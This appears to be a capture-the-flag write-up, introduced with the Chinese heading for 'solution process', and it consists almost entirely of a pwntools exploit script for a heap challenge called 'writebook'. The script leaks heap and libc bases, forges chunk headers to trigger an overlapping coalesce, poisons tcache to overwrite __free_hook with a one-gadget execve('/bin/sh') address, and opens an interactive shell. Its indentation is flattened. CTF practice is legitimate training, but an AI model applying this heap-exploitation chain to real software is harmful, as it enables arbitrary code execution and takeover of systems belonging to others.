解题过程
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import*
exe = context.binary = ELF('./writebook')
if args.LIBC:
libc_path = "./libc.so.6"
os.environ['LD_PRELOAD'] = libc_path
else:
libc_path = "/lib/x86_64-linux-gnu/libc.so.6"
libc = ELF(libc_path)
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
context.terminal = ['tmux','splitw','-h']
return gdb.debug([exe.path] + argv)
elif args.REMOTE:
return remote("127.0.0.1", "8892")
else:
return process([exe.path] + argv, *a, **kw)
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Full RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: PIE enabled
"""
size: 32
[+] Heap-Analysis- __libc_malloc(32)=0x555555757040
page #1
1.New page
2.Write paper
3.Read paper
4.Destroy the page
5.Repick
> 3
"""
HEAP_BASE = 0
LIBC_BASE = 0
def create_page(size):
io.sendline("1")
io.recvuntil("both sides?")
if240< size:
io.sendline("2")
else:
io.sendline("1")
io.sendline(str(size))
def remove_page(nr):
io.sendline("4")
io.recvuntil("Page:")
io.sendline(str(nr))
def print_page(nr):
io.sendline("3")
io.recvuntil("Page:")
io.sendline(str(nr))
def load_page(nr, data):
io.sendline("2")
io.recvuntil("Page:")
io.sendline(str(nr))
io.recvuntil("Content:")
io.send(data)
def get_heapleak(pg_nr):
global HEAP_BASE
print_page(pg_nr)
io.recvuntil("Content:")
leakstr = io.recvline()[1:-1] + b"\x00\x00"
print(hex(u64(leakstr)))
heap_leak = u64(leakstr)
HEAP_BASE = heap_leak - 0xd30
print("-"* 89)
print("HEAPBASE: %s"% hex(HEAP_BASE))
def get_libcleak(pg_nr):
global LIBC_BASE
print_page(pg_nr)
io.recvuntil("Content:")
leakstr = io.recvline()[1:-1] + b"\x00\x00"
print(hex(u64(leakstr)))
libc_leak = u64(leakstr)
LIBC_BASE = libc_leak - 0x3ec070
print("-"* 89)
print("LIBC_BASE: %s"%hex(LIBC_BASE))
io = start()
io.recvuntil("> ")
# shellcode = asm(shellcraft.sh())
length = 0xf0-8
biglength = 0xf0
print("[*]First Create")
create_page(0x1e0)
#load_page(0, cyclic(0x1e0))
payload = b"A"*8
payload += p64(0x331)
load_page(0, payload)
io.sendline()
create_page(0x40)
create_page(0x50)
create_page(0x60)
create_page(40)
create_page(0x1e0)
create_page(0x90)
create_page(0xf0)
create_page(0xf0)
create_page(0xf0)
create_page(0xf0)
create_page(0xf0)
create_page(0xf0)
create_page(0xf0)
print("[*]Remove last 7")
remove_page(7)
remove_page(8)
remove_page(9)
remove_page(10)
remove_page(11)
remove_page(12)
remove_page(13)
print("[*]Create 0xf0")
create_page(0xf0)
print("[*]Heap Leak")
get_heapleak(7)
print("[*]Remove last")
remove_page(7)
#7
create_page(0x1e0)
create_page(0x1e0)
create_page(0x1e0)
create_page(0x1e0)
create_page(0x1e0)
create_page(0x1e0)
create_page(0x1e0)
create_page(0x1e0)
create_page(0x1e0)
create_page(0x1e0) #keep from merging with top
remove_page(7)
remove_page(8)
remove_page(9)
remove_page(10)
remove_page(11)
remove_page(12)
remove_page(13)
remove_page(14)
remove_page(15)
create_page(0x1d0)
get_libcleak(7)
remove_page(7)
print("LIBC_BASE: %s"%hex(LIBC_BASE))
print("HEAP_BASE: %s"%hex(HEAP_BASE))
payload = b"-"*(0x100-8)
payload += p64(0xf1)
load_page(5, payload)
io.sendline()
#tcache is now full for 0x1e0, overflow the next chunk header and set prev size
CHUNK_TO_COALESCE = HEAP_BASE+0x260
FAKECHUNK_BASE = CHUNK_TO_COALESCE+0x18
FREE_HOOK = LIBC_BASE+0x3ed8e8
payload = b""
payload += b"A"*32
payload += p64(0x330) #fake prev_size pointing to page 0
load_page(4, payload)
payload = b"A"*8
payload += p64(0x331)
payload += p64(FAKECHUNK_BASE)
payload += p64(FAKECHUNK_BASE+0x8)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(CHUNK_TO_COALESCE)
len(payload)
load_page(0, payload)
io.sendline()
#io.interactive()
# free the page we modified the chunk on
remove_page(5)
# we now have unsorted bin pointing to 0x270 offset which overlaps. Now create a page to get that pointer
create_page(0x1d0)
create_page(0x1d0)
create_page(0x1d0)
# then remove to get into tcache
remove_page(5)
remove_page(6)
remove_page(7)
remove_page(8)
# 0x270 offset pointer is now in tcache
# overwrite the next pointer
payload = b""
payload += p64(0)
payload += p64(0x1e1)
payload += p64(FREE_HOOK)
load_page(0, payload)
io.sendline()
create_page(0x1d0)
create_page(0x1d0)
# Write the magic gadget to __free_hook ptr
payload = p64(LIBC_BASE+0x4f432)
load_page(6, payload)
io.sendline()
# free a page
remove_page(3)
io.interactive()
"""
0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
"""